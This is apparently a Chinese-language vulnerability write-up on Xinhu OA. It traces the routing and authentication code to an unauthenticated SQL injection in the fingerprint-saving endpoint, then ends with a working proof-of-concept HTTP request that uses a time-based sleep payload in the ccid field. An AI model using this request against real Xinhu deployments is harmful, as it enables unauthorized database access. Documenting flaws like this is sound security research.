信呼OA前台sql注入分析
路由分析
审计该套源码,首先分析它的框架结构以及路由是如何传入的。
找到入口文件,index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
include_once('config/config.php'); $_uurl = $rock->get('rewriteurl'); $d = ''; $m = 'index'; $a = 'default'; if($_uurl != ''){ unset($_GET['m']);unset($_GET['d']);unset($_GET['a']); $m = $_uurl; $_uurla = explode('_', $_uurl); if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];} if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];} $_uurla = explode('?',$_SERVER['REQUEST_URI']); if(isset($_uurla[1])){ $_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){ $_uurlasa = explode('=', $_uurlas); if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1]; } } }else{ $m = $rock->jm->gettoken('m', 'index'); $d = $rock->jm->gettoken('d'); $a = $rock->jm->gettoken('a', 'default'); } $ajaxbool = $rock->jm->gettoken('ajaxbool', 'false'); $mode = $rock->get('m', $m); if(!$config['install'] && $mode != 'install')$rock->location('?m=install'); include_once('include/View.php');
|
这里我直接通读全文了,config.php里面包含一些数据库的配置文件,其中new了一个rockClass类,里面过滤了一些方法。

1
| $_uurl = $rock->get('rewriteurl');
|
调用了get函数,里面传参rewriteurl,并赋值给了$_uurl。跟进get函数,查看具体的实现逻辑。

首先将$dev赋值给$val,然后判断第一个参数是否存在,这个参数是我们可控的,如果存在的话,就将get传进去的值赋值给$val,然后再判断$val是否为空,如果为空的话,$val的值还是由$dev所赋值。
这里举一个例子:
1
| $_uurl = $rock->get('a','index');
|
如果是这样传进去的话,最后的结果就是$val是index,如果再url中传入?a=fsrm,那么最后$val的值就是fsrm。
不管如何,最后还是要经过jmuncode函数所处理,get传进去的值是第一个参数,get参数名是第三个参数,跟进去看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public function jmuncode($s, $lx=0, $na='') { $jmbo = false; $s = (string)$s; if($lx==3) $jmbo = $this->isjm($s); if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){ $s = str_replace('rockjm_', '', $s); $s = $this->jm->uncrypt($s); if($lx==1){ $jmbo = $this->isjm($s); if($jmbo)$s = $this->jm->uncrypt($s); } } if(substr($s, 0, 7)=='basejm_' || $lx==5){ $s = str_replace('basejm_', '', $s); $s = $this->jm->base64decode($s); } $s=str_replace("'", ''', $s); $s=str_replace('%20', '', $s); if($lx==2) $s=str_replace(array('{','}'), array('[H1]','[H2]'), $s); $str = strtolower($s); foreach($this->lvlaras as $v1) if($this->contain($str, $v1)){ $this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err'); $s = $this->lvlarrep($str, $v1); $str = $s; } $cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid'); if(in_array($na, $cslv)) $s = $this->xssrepstr($s); return $this->reteistrs($s); }
|
这里我们主要看的是$s和$na的值所受的影响。
首先将$s给强制类型转换成字符串,然后就是根据$lx的值对$s进行不同的处理,这里就不解释了,其实也跳转不到if分支里面,get函数里,将$lx定义为0了。



后面这一段就是对参数值做一个校验的,防止sql注入和xss的。
总结一下:get方法的第一个参数是可控的,由get方法传进,并对传进去的内容做了sql注入和xss的防御。
接着分析,如果$_uurl不为空的话,就清除m,d,a,将$_uurl赋值给$m,以_作为数组的分隔符,将不同的下标所对应的值赋值给$d,$m,$a。

后面的逻辑是一样的,这段不太重要,抓登录包就知道了,$_uurl一般是为空的。
重点看下面的逻辑。

这个gettoken跟不进去的话,有两种方法,一种是打断点,动态调试跟进,另外一种是全局搜索函数gettoken,找有jm的,因为是jm所调用的。

打断点跟进的也是jmChajian这个文件。

这的逻辑先是将$dev赋值给$s,如果遇见rocktokenarr[‘$na’]这样的数组,就将它的值赋值给$s,否则的话还是调用get函数,并赋值给$s,又回到上面的逻辑了。
1 2 3 4
| $m = $rock->jm->gettoken('m', 'index'); $d = $rock->jm->gettoken('d'); $a = $rock->jm->gettoken('a', 'default'); 上面m,d,a都不传值的话,默认的值就是index,空的,default
|
最后包含了view.php 这个才是路由分析的具体。
view.php:

get传参ajaxbool,这里刚开始的$ajaxbool最后是true,因为false是以字符串传进去的。

$p是固定的webmain。

m,a,d没get传递的话,都会给一个默认的值,这里除了P是固定的,其他都是可控的。
下面是一个重点的逻辑:

将$m的值赋值给$_m,如果m传入的是123|abc这种形式的话,那么123就是$m
的值,abc就是$_m
的值。
1
| strformat('?0/?1/?1Action.php',ROOT_PATH, $p)); //ROOT_PATH对应的是/ $p对应的是webmain ?0则是ROOT_PATH ?1则是webmain 至于第二个?1 也是webmain
|
这个包含的其实是:

webmainAction.php这个文件。
1
| $actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m); ?0=>/ ?1=>webmain ?2=>d传进去的值,其实也就是webmain下的文件的名字 ?3=>$_m 即对应文件夹的名字,也对应着文件名
|

a则对应的是具体的函数,当$ajaxbool是真的时候,对应的是Ajax的方法,反之对应的是Action的方法。
举一个例子方便理解:
就拿我们登录抓的包来说

这里$m是login,其实也就是$_m也是login 对应的是webmain下的login文件夹下的loginAction.php

a对应的是check,并且ajaxbool=true

如果是多个文件夹呢,这时候就要传入d以及m传入xxx|xxx了。
举个例子:
访问webmain/task/api/reimAction.php下的getrecordAction 函数。
传参如下:
1
| ?a=getrecord&d=task&m=reim|api&ajaxbool=false
|

上面是未登录的状态,看一下登录之后的情况。

鉴权分析
主要看webmain下的文件信息,这个OA是继承父类的方法来鉴权的。
主要有三个父类:
1 2 3
| apiAction Action openapiAction
|
首先我们来看apiAction的。
找一个继承类是apiAction的文件来分析一下。

deptClassAction是apiAction的一个子类,继承了这个父类里面的方法,如果我们直接去访问deptClassAction.php下的某一方法的话,是访问不到的,具体原因我们跟进apiAction

apiAction下的initAction方法是用来进行鉴权的。这里就不详细解释了,然后再跟进到最终的父类。

这里会自动触发initAction方法。
openapiAction的话和apiAction是一样的,都是initAction方法进行鉴权,只不过方法内容不一样。

主要对传入的openkey的值和数据库里面的值做比较。
Action方法来跟进一下。

跟进Action以及它的父类。
Action是利用initProject进行鉴权的。

跟进最终的父类发现_construct方法里面存在initProject(),最终也会自动触发。

这种继承的方法,如果子类和父类里面有相同的方法,最终执行的是子类的方法。
所以如果子类重写了鉴权对应的函数,最终执行的是它重写的,而不是父类里面用来鉴权的。
举个例子:
我自己写一个新的initAction方法,然后再创建一个方法,作为验证


可以看到能够访问到,所以找未授权的就看那些有重写方法的。
漏洞分析
漏洞点再webmain/model/kqjcmdModel.php下的savefingerprint函数。

主要是$snid和$uid这两个参数查看是否是可控的,最终rows这个函数会执行$where这个语句。
跟进一下看看,主要是查看都哪里调用了这个方法。

第二个调用的跟到最后它是不可控的。


经过分析得知,$clarr是从数据库中得到信息,并不可控。
下面是第一个调用的跟进。


接着查看哪里调用了postdata这个方法,然后主要是看第二个参数。



这里跟进这个地方。

从POST中传递参数,进行接收,然后又查看哪里调用了getpostdata,刚好再webmain/task/openapi/openkqjAction.php下的initAction方法中,这个也刚好是父类用来鉴权的,这里重写了,所以能造成前台的sql注入。
综上可知$uid是可控的,而$snid虽然能自己手动传入,但最后做了一个int转换。

调用流程图如下:

1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /index.php?a=api&m=openkqj|openapi&d=task&sn=1&/post HTTP/1.1 Host: xinhu:8087 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: deviceid=1751808088555; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; xinhu_mo_adminid=kp0gl0lsd0lsp0wk0gs0kp0llk0ws0lls0pe0lsd0kw0kl0kj0gp06; PHPSESSID=7kmpgcidv5vm5sdm89mq3i51d6 Connection: keep-alive Content-Type: application/json Content-Length: 73
{"b":{"data":"fingerprint","ccid":"a' or sleep(2)#'","fingerprint":"xx"}}
|
注意这里需要将Content-Type改为application/json


那么接下来,就是一些比较细节的东西了。
路由:
这个路由就不再多说了,提一点的就是后面为什么要加一个/post,这个是为了进行满足if条件。
这个下面自己验证一下,没啥好说的。

然后就是post传递什么?
它需要满足if条件:
1
| if($dtype=='fingerprint')
|
1
| $dtype = arrvalue($rs, 'data'); 这个则相当于是$rs是键名,取得是键名是data所对应的值
|
1
| foreach($barr as $k=>$rs) 由于它有这个,相当于需要传递两层的json才可以
|

后面的就不难理解了,就是传入ccid,然后这个参数有sql注入。